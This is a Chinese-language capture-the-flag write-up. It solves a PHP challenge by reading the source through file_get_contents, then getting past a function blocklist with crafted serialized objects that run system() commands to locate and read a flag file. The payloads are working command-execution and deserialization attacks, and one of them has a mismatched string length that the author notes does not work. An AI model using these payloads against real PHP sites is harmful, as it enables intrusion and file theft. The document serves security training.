题解
打开题目是这样子的。

啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。

那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。
func=system&p=ls

直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。
func=file_get_contents&p=index.php

但是它没有禁用反序列化函数,那么我们只要实现构造出要执行的命令,然后序列化。再调用反序列化函数将其还原,且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码,我们照葫芦画瓢,对其进行序列化。
class Test {
var $p = "cat /flag";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
运行下面代码。
<?php
class Test {
var $p = "cat /flag";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
得到序列化后的数据。
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功,返回当前目录下面的文件。

直接查到flag在哪里,发现 /tmp/flagoefiu4r93这个文件比较可以,估计是这个啦。
O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

直接查看这个文件,但是这里我是cat /tmp/flagoefiu4r93,不知道为啥不行,有知道的大佬可以指点一下。
O:4:"Test":2:{s:1:"p";s:23:"cat /tmp/flagoefiu4r93'";s:4:"func";s:6:"system";}

用这个readfile函数读取,这个是PHP自带的函数,成功读取。
func=readfile&p=/tmp/flagoefiu4r93

总结
主要涉及的知识是反序列的运用,要懂得构造出序列化的数据,还得想到用file_get_contents函数读取源码。